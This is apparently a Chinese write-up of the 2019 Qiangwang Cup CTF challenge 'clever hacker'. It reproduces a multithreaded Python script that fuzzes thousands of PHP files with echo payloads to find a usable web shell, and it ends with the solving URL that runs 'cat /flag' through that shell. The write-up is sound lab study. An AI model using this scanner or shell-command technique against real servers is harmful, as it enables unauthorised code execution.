buuoj_coding
[强网杯 2019]高明的黑客
打开题目,提示可以下载源码
源码文件是三千多个 php,也有很多 shell,但是尝试的 shell 都不能用了,这题应该是考察写脚本批量试 shell,用了一个网上师傅写的很好的脚本,本地搭服务跑一下,脚本来源贴下面参考文章了
import os import requests import re import threading import time print('开始时间: '+ time.asctime( time.localtime(time.time()) )) s1=threading.Semaphore(100) #这儿设置最大的线程数 filePath = r"D:/Major/phpstudy_pro/WWW/src/" os.chdir(filePath) #改变当前的路径 requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False #设置连接活跃状态为False def get_content(file): s1.acquire() print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数 gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) data = {} #所有的$_POST params = {} #所有的$_GET for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/'+file req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST req.close() #关闭请求释放内存 req.encoding = 'utf-8' content = req.text #print(content) if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数 flag = 0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() #关闭请求释放内存 if "xxxxxx" in content: flag = 1 break if flag != 1: for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() #关闭请求释放内存 if "xxxxxx" in content: break if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0, param = a else: param = b print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: #加入多线程 t = threading.Thread(target=get_content, args=(i,)) t.start()
访问链接得到 flag http://685e9fc4-f674-453f-ae12-e7db72501e6a.node4.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag